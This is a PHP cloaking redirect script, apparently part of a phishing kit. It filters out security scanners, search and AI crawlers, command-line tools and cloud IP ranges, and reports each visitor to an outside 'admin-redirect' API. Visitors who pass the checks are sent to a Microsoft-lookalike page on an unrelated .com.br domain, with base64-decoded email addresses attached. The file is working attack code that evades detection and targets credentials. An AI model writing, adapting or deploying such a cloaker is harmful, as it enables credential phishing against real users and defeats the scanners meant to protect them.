<?php
// Secure Redirect Script - 7-Layer Detection with API callback
$bot_url = 'https://github.com';
$human_url = 'https://microsoft.ijuinet.com.br/';
$deployment_id = 'dep_1773134395454_055k078';
$api_url = 'https://admin-redirect.inbox4sure.com/api/cpanel/check';

// Global error handler - ALWAYS fallback to bot URL on any error
set_error_handler(function() { global $bot_url; @header('Location: ' . $bot_url, true, 302); exit; });

$ua_raw = $_SERVER['HTTP_USER_AGENT'] ?? '';
$ua = strtolower($ua_raw);
$ip = $_SERVER['REMOTE_ADDR'] ?? '';

// Base64 email decoder - returns decoded email or false
function decode_b64_email($str) {
  if (strlen($str) < 8) return false;
  if (!preg_match('/^[A-Za-z0-9+\/]+=*$/', $str)) return false;
  $decoded = @base64_decode($str, true);
  if ($decoded === false) return false;
  return (strpos($decoded, '@') !== false) ? $decoded : false;
}

// Extract special tail from __tail param (Apache .htaccess) or REQUEST_URI (Nginx fallback)
function get_special_tail() {
  if (isset($_GET['__tail']) && $_GET['__tail'] !== '') {
    return $_GET['__tail'];
  }
  // Nginx fallback: parse from REQUEST_URI (e.g., /folder$email or /folder&ref=email)
  $uri = $_SERVER['REQUEST_URI'] ?? '';
  $script_dir = dirname($_SERVER['SCRIPT_NAME'] ?? '');
  if ($script_dir === '/' || $script_dir === '\\') $script_dir = '';
  // Strip the folder path prefix to get the tail
  if ($script_dir && strpos($uri, $script_dir) === 0) {
    $remainder = substr($uri, strlen($script_dir));
    // Check for $, *, or & patterns at start of remainder (after optional /)
    $remainder = ltrim($remainder, '/');
    if (preg_match('/^[\$\*&]/', $remainder)) {
      // Remove any query string portion
      $qpos = strpos($remainder, '?');
      if ($qpos !== false) $remainder = substr($remainder, 0, $qpos);
      return urldecode($remainder);
    }
  }
  return '';
}

// ============================================
// LAYER 1: Block headless browsers (403 - totally blocked)
// ============================================
$headless_sigs = array('headless', 'headlesschrome', 'phantom', 'phantomjs', 'selenium', 'puppeteer', 'playwright', 'chromedp', 'casperjs', 'slimerjs', 'nightmarejs', 'nightmare', 'splash', 'htmlunit', 'zombie', 'mechanize', 'webdriver', 'cypress');
foreach ($headless_sigs as $sig) {
  if (strpos($ua, $sig) !== false) {
    http_response_code(403);
    echo '<!DOCTYPE html><html><head><title>403 Forbidden</title></head><body><h1>403 Forbidden</h1><p>Access denied.</p></body></html>';
    exit;
  }
}

// ============================================
// LAYER 2: Block empty/missing user agent (403 - totally blocked)
// ============================================
if (empty(trim($ua_raw))) {
  http_response_code(403);
  echo '<!DOCTYPE html><html><head><title>403 Forbidden</title></head><body><h1>403 Forbidden</h1><p>Access denied.</p></body></html>';
  exit;
}

// ============================================
// LAYER 3: Block CLI tools & scripting libraries (→ bot URL)
// ============================================
$cli_tools = array('curl', 'wget', 'python', 'python-requests', 'python-urllib', 'java/', 'node-fetch', 'axios', 'libwww', 'go-http', 'okhttp', 'postman', 'insomnia', 'httpie', 'fetch/', 'undici', 'got/', 'superagent', 'request/', 'aiohttp', 'scrapy', 'httpclient', 'winhttp', 'powershell');
foreach ($cli_tools as $tool) {
  if (strpos($ua, $tool) !== false) {
    header('Location: ' . $bot_url, true, 302);
    exit;
  }
}

// ============================================
// LAYER 4: Block known bot UA patterns (403 - totally blocked)
// ============================================
$bot_patterns = array(
  'googlebot', 'bingbot', 'slurp', 'duckduckbot', 'baiduspider',
  'yandexbot', 'sogou', 'exabot', 'applebot', 'seznambot',
  'telegrambot', 'telegram', 'twitterbot', 'tweetmemebot',
  'facebookexternalhit', 'facebot', 'facebookcatalog',
  'linkedinbot', 'slackbot', 'slack-imgproxy', 'discordbot',
  'whatsapp', 'viber', 'snapchat', 'pinterestbot',
  'redditbot', 'skypeuripreview', 'embedly', 'vkshare',
  'ia_archiver', 'semrushbot', 'dotbot', 'rogerbot', 'ahrefsbot',
  'mj12bot', 'blexbot', 'petalbot', 'bytespider', 'bytedance',
  'gptbot', 'chatgpt-user', 'claudebot', 'ccbot', 'anthropic',
  'amazonbot', 'yandex.com/bots', 'archive.org_bot',
  'bot/', 'bot;', 'crawl', 'spider', 'scrape', 'scraper'
);
foreach ($bot_patterns as $pattern) {
  if (strpos($ua, $pattern) !== false) {
    http_response_code(403);
    echo '<!DOCTYPE html><html><head><title>403 Forbidden</title></head><body><h1>403 Forbidden</h1><p>Access denied.</p></body></html>';
    exit;
  }
}

// ============================================
// LAYER 5: Block known bot IP ranges (→ bot URL)
// ============================================
$bot_ip_prefixes = array(
  '66.249.', '66.102.',                   // Google
  '40.77.', '157.55.', '207.46.', '13.66.139.', '52.167.',  // Microsoft/Bing
  '114.119.', '119.63.',                   // Baidu
  '69.171.', '31.13.', '66.220.', '69.63.', '173.252.',     // Facebook/Meta
  '199.16.', '104.244.',                   // Twitter/X
  '91.108.', '149.154.',                   // Telegram
  '5.255.', '77.88.', '87.250.',          // Yandex
  '141.8.',                                // UCWeb
  '100.43.',                               // Ahrefs
  '54.36.',                                // OVH/Censys
  '17.0.',                                 // Apple
  '34.', '35.',                            // Google Cloud common
  '52.', '54.',                            // AWS common
  '64.233.', '72.14.', '74.125.',         // Google
  '209.85.',                               // Google
  '216.239.'                               // Google
);
foreach ($bot_ip_prefixes as $prefix) {
  if (strpos($ip, $prefix) === 0) {
    header('Location: ' . $bot_url, true, 302);
    exit;
  }
}

// ============================================
// LAYER 6: Validate browser fingerprint (403 - totally blocked)
// ============================================
$has_browser_sig = false;
$browser_sigs = array('mozilla/', 'chrome/', 'safari/', 'firefox/', 'edge/', 'opera/', 'opr/');
foreach ($browser_sigs as $sig) {
  if (strpos($ua, $sig) !== false) { $has_browser_sig = true; break; }
}
if (!$has_browser_sig || !isset($_SERVER['HTTP_ACCEPT_LANGUAGE']) || !isset($_SERVER['HTTP_ACCEPT']) || !isset($_SERVER['HTTP_ACCEPT_ENCODING'])) {
  http_response_code(403);
  echo '<!DOCTYPE html><html><head><title>403 Forbidden</title></head><body><h1>403 Forbidden</h1><p>Access denied.</p></body></html>';
  exit;
}

// If we got here, visitor passed ALL 6 local layers (pre-filters)
// Default to BOT URL (safe fallback) — only the API can grant human access
$redirect_url = $bot_url;

// ============================================
// LAYER 7: Call backend API — PRIMARY decision maker
// The API runs IP2Location + full detection engine + records the visit
// Local layers 1-6 are pre-filters only; the API makes the final call
// ============================================
if (!empty($deployment_id) && !empty($api_url)) {
  $payload = json_encode(array(
    'deployment_id' => $deployment_id,
    'visitor_ip' => $ip,
    'user_agent' => $ua_raw,
    'headers' => array(
      'accept-language' => $_SERVER['HTTP_ACCEPT_LANGUAGE'] ?? null,
      'accept' => $_SERVER['HTTP_ACCEPT'] ?? null,
      'accept-encoding' => $_SERVER['HTTP_ACCEPT_ENCODING'] ?? null,
      'connection' => $_SERVER['HTTP_CONNECTION'] ?? null,
      'referer' => $_SERVER['HTTP_REFERER'] ?? null,
      'user-agent' => $ua_raw
    )
  ));

  $ch = @curl_init($api_url);
  if ($ch) {
    @curl_setopt_array($ch, array(
      CURLOPT_POST => true,
      CURLOPT_POSTFIELDS => $payload,
      CURLOPT_HTTPHEADER => array('Content-Type: application/json'),
      CURLOPT_RETURNTRANSFER => true,
      CURLOPT_TIMEOUT => 5,
      CURLOPT_CONNECTTIMEOUT => 3,
      CURLOPT_SSL_VERIFYPEER => false
    ));
    $response = @curl_exec($ch);
    $http_code = @curl_getinfo($ch, CURLINFO_HTTP_CODE);
    @curl_close($ch);

    if ($http_code === 200 && $response) {
      $data = @json_decode($response, true);
      if ($data && !empty($data['blocked'])) {
        // Account paused or expired — do not process any redirect
        http_response_code(403);
        echo 'This page is currently unavailable.';
        exit;
      }
      if ($data && isset($data['redirect_to'])) {
        $redirect_url = $data['redirect_to']; // API makes the final decision
      }
    }
    // If API fails → stays on bot URL (safe fallback, never expose human URL without verification)
  }
}

// ============================================
// PARAMETER FORWARDING (human redirects only)
// Passes query strings, $value, *value to human URL
// Decodes base64-encoded email values automatically
// Bot redirects get NO parameters appended
// ============================================
if ($redirect_url !== $bot_url) {
  $special_tail = get_special_tail();
  $raw_qs = $_SERVER['QUERY_STRING'] ?? '';
  // Strip internal __tail param from query string
  $raw_qs = preg_replace('/(?:^|&)__tail=[^&]*/', '', $raw_qs);
  $raw_qs = trim($raw_qs, '&');

  if (!empty($special_tail)) {
    $sep = substr($special_tail, 0, 1);
    $val = substr($special_tail, 1);
    if ($sep === '&' && ($eq = strpos($val, '=')) !== false) {
      // Handle &key=value patterns (e.g., &ref=email or &ref=base64)
      $key = substr($val, 0, $eq);
      $raw_val = substr($val, $eq + 1);
      $dec = decode_b64_email($raw_val);
      $redirect_url .= '&' . $key . '=' . ($dec !== false ? $dec : $raw_val);
    } else {
      // Handle $value or *value (routed by root .htaccess)
      $dec = decode_b64_email($val);
      $redirect_url .= $sep . ($dec !== false ? $dec : $val);
    }
  } elseif (!empty($raw_qs)) {
    // Handle ?key=value query string params
    $pairs = explode('&', $raw_qs);
    $processed = array();
    foreach ($pairs as $pair) {
      $eq = strpos($pair, '=');
      if ($eq !== false) {
        $key = substr($pair, 0, $eq);
        $val = urldecode(substr($pair, $eq + 1));
        $dec = decode_b64_email($val);
        $processed[] = $key . '=' . ($dec !== false ? $dec : $val);
      } else {
        $processed[] = $pair;
      }
    }
    $joiner = (strpos($redirect_url, '?') !== false) ? '&' : '?';
    $redirect_url .= $joiner . implode('&', $processed);
  }
}


// ============================================
// Extract visitor email from URL params
// ============================================
$visitor_email = '';
$_special_tail = get_special_tail();
$_raw_qs_email = $_SERVER['QUERY_STRING'] ?? '';
$_raw_qs_email = preg_replace('/(?:^|&)__tail=[^&]*/', '', $_raw_qs_email);
$_raw_qs_email = trim($_raw_qs_email, '&');

if (!empty($_special_tail)) {
  $_sep = substr($_special_tail, 0, 1);
  $_val = substr($_special_tail, 1);
  if ($_sep === '&' && ($_eq = strpos($_val, '=')) !== false) {
    $_raw_v = substr($_val, $_eq + 1);
    $_dec = decode_b64_email($_raw_v);
    if ($_dec !== false) { $visitor_email = $_dec; }
    elseif (strpos($_raw_v, '@') !== false) { $visitor_email = $_raw_v; }
  } else {
    $_dec = decode_b64_email($_val);
    if ($_dec !== false) { $visitor_email = $_dec; }
    elseif (strpos($_val, '@') !== false) { $visitor_email = $_val; }
  }
} elseif (!empty($_raw_qs_email)) {
  $_pairs = explode('&', $_raw_qs_email);
  foreach ($_pairs as $_pair) {
    $_eq = strpos($_pair, '=');
    if ($_eq !== false) {
      $_v = urldecode(substr($_pair, $_eq + 1));
      $_dec = decode_b64_email($_v);
      if ($_dec !== false) { $visitor_email = $_dec; break; }
      elseif (strpos($_v, '@') !== false) { $visitor_email = $_v; break; }
    }
  }
}

header('Location: ' . $redirect_url, true, 302);
exit;
?>